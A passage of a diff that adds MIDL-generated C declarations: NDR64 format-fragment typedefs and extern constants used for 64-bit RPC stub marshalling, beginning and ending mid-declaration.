frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag1530_t; +extern const __midl_frag1530_t __midl_frag1530; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag1519_t; +extern const __midl_frag1519_t __midl_frag1519; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct + { + struct _NDR64_REPEAT_FORMAT frag1; + struct + { + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + } frag2; + NDR64_FORMAT_CHAR frag3; + } frag2; + struct _NDR64_ARRAY_ELEMENT_INFO frag3; +} +__midl_frag1518_t; +extern const __midl_frag1518_t __midl_frag1518; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1517_t; +extern const __midl_frag1517_t __midl_frag1517; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; + struct _NDR64_PARAM_FORMAT frag9; + struct _NDR64_PARAM_FORMAT frag10; +} +__midl_frag1515_t; +extern const __midl_frag1515_t __midl_frag1515; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; + struct _NDR64_POINTER_FORMAT frag4; + struct _NDR64_POINTER_FORMAT frag5; + struct _NDR64_POINTER_FORMAT frag6; + struct _NDR64_POINTER_FORMAT frag7; + struct _NDR64_POINTER_FORMAT frag8; + struct _NDR64_POINTER_FORMAT frag9; + struct _NDR64_POINTER_FORMAT frag10; + struct _NDR64_POINTER_FORMAT frag11; + struct _NDR64_POINTER_FORMAT frag12; +} +__midl_frag1510_t; +extern const __midl_frag1510_t __midl_frag1510; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag6; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag7; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag8; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag9; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag10; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag11; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag12; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag13; + struct _NDR64_MEMPAD_FORMAT frag14; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag15; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag16; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag17; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag18; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag19; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag20; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag21; + struct _NDR64_MEMPAD_FORMAT frag22; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag23; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag24; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag25; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag26; + } frag2; +} +__midl_frag1497_t; +extern const __midl_frag1497_t __midl_frag1497; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_OPERATOR frag2; + struct _NDR64_EXPR_VAR frag3; +} +__midl_frag1496_t; +extern const __midl_frag1496_t __midl_frag1496; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct + { + struct _NDR64_REPEAT_FORMAT frag1; + struct + { + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + } frag2; + NDR64_FORMAT_CHAR frag3; + } frag2; + struct _NDR64_ARRAY_ELEMENT_INFO frag3; +} +__midl_frag1495_t; +extern const __midl_frag1495_t __midl_frag1495; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1494_t; +extern const __midl_frag1494_t __midl_frag1494; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1493_t; +extern const __midl_frag1493_t __midl_frag1493; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag1489_t; +extern const __midl_frag1489_t __midl_frag1489; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; +} +__midl_frag1479_t; +extern const __midl_frag1479_t __midl_frag1479; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; +} +__midl_frag1468_t; +extern const __midl_frag1468_t __midl_frag1468; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; + struct _NDR64_PARAM_FORMAT frag9; + struct _NDR64_PARAM_FORMAT frag10; + struct _NDR64_PARAM_FORMAT frag11; +} +__midl_frag1453_t; +extern const __midl_frag1453_t __midl_frag1453; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; +} +__midl_frag1442_t; +extern const __midl_frag1442_t __midl_frag1442; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag1436_t; +extern const __midl_frag1436_t __midl_frag1436; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag1427_t; +extern const __midl_frag1427_t __midl_frag1427; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag1421_t; +extern const __midl_frag1421_t __midl_frag1421; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag1410_t; +extern const __midl_frag1410_t __midl_frag1410; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; +} +__midl_frag1406_t; +extern const __midl_frag1406_t __midl_frag1406; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1405_t; +extern const __midl_frag1405_t __midl_frag1405; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag1404_t; +extern const __midl_frag1404_t __midl_frag1404; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1400_t; +extern const __midl_frag1400_t __midl_frag1400; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; +} +__midl_frag1399_t; +extern const __midl_frag1399_t __midl_frag1399; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + } frag2; +} +__midl_frag1398_t; +extern const __midl_frag1398_t __midl_frag1398; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_OPERATOR frag2; + struct _NDR64_EXPR_VAR frag3; +} +__midl_frag1397_t; +extern const __midl_frag1397_t __midl_frag1397; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct + { + struct _NDR64_REPEAT_FORMAT frag1; + struct + { + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + } frag2; + NDR64_FORMAT_CHAR frag3; + } frag2; + struct _NDR64_ARRAY_ELEMENT_INFO frag3; +} +__midl_frag1396_t; +extern const __midl_frag1396_t __midl_frag1396; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1395_t; +extern const __midl_frag1395_t __midl_frag1395; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1394_t; +extern const __midl_frag1394_t __midl_frag1394; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; + struct _NDR64_PARAM_FORMAT frag9; +} +__midl_frag1388_t; +extern const __midl_frag1388_t __midl_frag1388; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_NO_REPEAT_FORMAT frag1; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; + NDR64_FORMAT_CHAR frag4; + } frag2; +} +__midl_frag1383_t; +extern const __midl_frag1383_t __midl_frag1383; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1382_t; +extern const __midl_frag1382_t __midl_frag1382; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1381_t; +extern const __midl_frag1381_t __midl_frag1381; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag1380_t; +extern const __midl_frag1380_t __midl_frag1380; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; +} +__midl_frag1376_t; +extern const __midl_frag1376_t __midl_frag1376; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1372_t; +extern const __midl_frag1372_t __midl_frag1372; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_NO_REPEAT_FORMAT frag1; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; + struct _NDR64_NO_REPEAT_FORMAT frag4; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5; + struct _NDR64_POINTER_FORMAT frag6; + NDR64_FORMAT_CHAR frag7; + } frag2; +} +__midl_frag1369_t; +extern const __midl_frag1369_t __midl_frag1369; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag1; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag2; + } frag2; +} +__midl_frag1368_t; +extern const __midl_frag1368_t __midl_frag1368; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct + { + struct _NDR64_REPEAT_FORMAT frag1; + struct + { + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + } frag2; + NDR64_FORMAT_CHAR frag3; + } frag2; + struct _NDR64_ARRAY_ELEMENT_INFO frag3; +} +__midl_frag1366_t; +extern const __midl_frag1366_t __midl_frag1366; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1365_t; +extern const __midl_frag1365_t __midl_frag1365; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1364_t; +extern const __midl_frag1364_t __midl_frag1364; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; + struct _NDR64_PARAM_FORMAT frag9; +} +__midl_frag1358_t; +extern const __midl_frag1358_t __midl_frag1358; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1354_t; +extern const __midl_frag1354_t __midl_frag1354; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; +} +__midl_frag1353_t; +extern const __midl_frag1353_t __midl_frag1353; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag2; + struct _NDR64_MEMPAD_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + } frag2; +} +__midl_frag1351_t; +extern const __midl_frag1351_t __midl_frag1351; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_OPERATOR frag2; + struct _NDR64_EXPR_VAR frag3; +} +__midl_frag1350_t; +extern const __midl_frag1350_t __midl_frag1350; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct + { + struct _NDR64_REPEAT_FORMAT frag1; + struct + { + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + } frag2; + NDR64_FORMAT_CHAR frag3; + } frag2; + struct _NDR64_ARRAY_ELEMENT_INFO frag3; +} +__midl_frag1349_t; +extern const __midl_frag1349_t __midl_frag1349; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1348_t; +extern const __midl_frag1348_t __midl_frag1348; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1347_t; +extern const __midl_frag1347_t __midl_frag1347; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; +} +__midl_frag1342_t; +extern const __midl_frag1342_t __midl_frag1342; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag1331_t; +extern const __midl_frag1331_t __midl_frag1331; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1330_t; +extern const __midl_frag1330_t __midl_frag1330; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag1328_t; +extern const __midl_frag1328_t __midl_frag1328; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_NO_REPEAT_FORMAT frag1; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; + struct _NDR64_NO_REPEAT_FORMAT frag4; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5; + struct _NDR64_POINTER_FORMAT frag6; + NDR64_FORMAT_CHAR frag7; + } frag2; +} +__midl_frag1313_t; +extern const __midl_frag1313_t __midl_frag1313; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_OPERATOR frag2; + struct _NDR64_EXPR_VAR frag3; +} +__midl_frag1312_t; +extern const __midl_frag1312_t __midl_frag1312; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct + { + struct _NDR64_REPEAT_FORMAT frag1; + struct + { + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + } frag2; + NDR64_FORMAT_CHAR frag3; + } frag2; + struct _NDR64_ARRAY_ELEMENT_INFO frag3; +} +__midl_frag1311_t; +extern const __midl_frag1311_t __midl_frag1311; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1310_t; +extern const __midl_frag1310_t __midl_frag1310; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1309_t; +extern const __midl_frag1309_t __midl_frag1309; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag1306_t; +extern const __midl_frag1306_t __midl_frag1306; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_OPERATOR frag2; + struct _NDR64_EXPR_VAR frag3; +} +__midl_frag1298_t; +extern const __midl_frag1298_t __midl_frag1298; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag1297_t; +extern const __midl_frag1297_t __midl_frag1297; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1296_t; +extern const __midl_frag1296_t __midl_frag1296; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1295_t; +extern const __midl_frag1295_t __midl_frag1295; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag1292_t; +extern const __midl_frag1292_t __midl_frag1292; + +typedef +struct _NDR64_CONTEXT_HANDLE_FORMAT +__midl_frag1288_t; +extern const __midl_frag1288_t __midl_frag1288; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1287_t; +extern const __midl_frag1287_t __midl_frag1287; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1286_t; +extern const __midl_frag1286_t __midl_frag1286; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag1283_t; +extern const __midl_frag1283_t __midl_frag1283; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag1282_t; +extern const __midl_frag1282_t __midl_frag1282; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag1279_t; +extern const __midl_frag1279_t __midl_frag1279; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct + { + struct _NDR64_REPEAT_FORMAT frag1; + struct + { + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag3; + struct _NDR64_POINTER_FORMAT frag4; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5; + struct _NDR64_POINTER_FORMAT frag6; + } frag2; + NDR64_FORMAT_CHAR frag3; + } frag2; + struct _NDR64_ARRAY_ELEMENT_INFO frag3; +} +__midl_frag1278_t; +extern const __midl_frag1278_t __midl_frag1278; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1277_t; +extern const __midl_frag1277_t __midl_frag1277; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_PARAM_FORMAT frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; + struct _NDR64_PARAM_FORMAT frag9; + struct _NDR64_PARAM_FORMAT frag10; + struct _NDR64_PARAM_FORMAT frag11; + struct _NDR64_PARAM_FORMAT frag12; +} +__midl_frag1272_t; +extern const __midl_frag1272_t __midl_frag1272; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1268_t; +extern const __midl_frag1268_t __midl_frag1268; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag1267_t; +extern const __midl_frag1267_t __midl_frag1267; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; +} +__midl_frag1263_t; +extern const __midl_frag1263_t __midl_frag1263; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag1261_t; +extern const __midl_frag1261_t __midl_frag1261; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag1260_t; +extern const __midl_frag1260_t __midl_frag1260; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1259_t; +extern const __midl_frag1259_t __midl_frag1259; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_NO_REPEAT_FORMAT frag1; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; + struct _NDR64_NO_REPEAT_FORMAT frag4; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5; + struct _NDR64_POINTER_FORMAT frag6; + NDR64_FORMAT_CHAR frag7; + } frag2; +} +__midl_frag1256_t; +extern const __midl_frag1256_t __midl_frag1256; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag1255_t; +extern const __midl_frag1255_t __midl_frag1255; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct + { + struct _NDR64_REPEAT_FORMAT frag1; + struct + { + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + } frag2; + NDR64_FORMAT_CHAR frag3; + } frag2; + struct _NDR64_ARRAY_ELEMENT_INFO frag3; +} +__midl_frag1254_t; +extern const __midl_frag1254_t __midl_frag1254; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + struct _NDR64_MEMPAD_FORMAT frag5; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag6; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag7; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag8; + struct _NDR64_MEMPAD_FORMAT frag9; + struct _NDR64_BUFFER_ALIGN_FORMAT frag10; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag11; + } frag2; +} +__midl_frag1253_t; +extern const __midl_frag1253_t __midl_frag1253; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1252_t; +extern const __midl_frag1252_t __midl_frag1252; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1251_t; +extern const __midl_frag1251_t __midl_frag1251; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag1250_t; +extern const __midl_frag1250_t __midl_frag1250; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1244_t; +extern const __midl_frag1244_t __midl_frag1244; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag1242_t; +extern const __midl_frag1242_t __midl_frag1242; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; +} +__midl_frag1238_t; +extern const __midl_frag1238_t __midl_frag1238; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag1227_t; +extern const __midl_frag1227_t __midl_frag1227; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag1221_t; +extern const __midl_frag1221_t __midl_frag1221; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1217_t; +extern const __midl_frag1217_t __midl_frag1217; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag1216_t; +extern const __midl_frag1216_t __midl_frag1216; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct + { + struct _NDR64_REPEAT_FORMAT frag1; + struct + { + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + } frag2; + NDR64_FORMAT_CHAR frag3; + } frag2; + struct _NDR64_ARRAY_ELEMENT_INFO frag3; +} +__midl_frag1215_t; +extern const __midl_frag1215_t __midl_frag1215; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1214_t; +extern const __midl_frag1214_t __midl_frag1214; + +typedef +struct 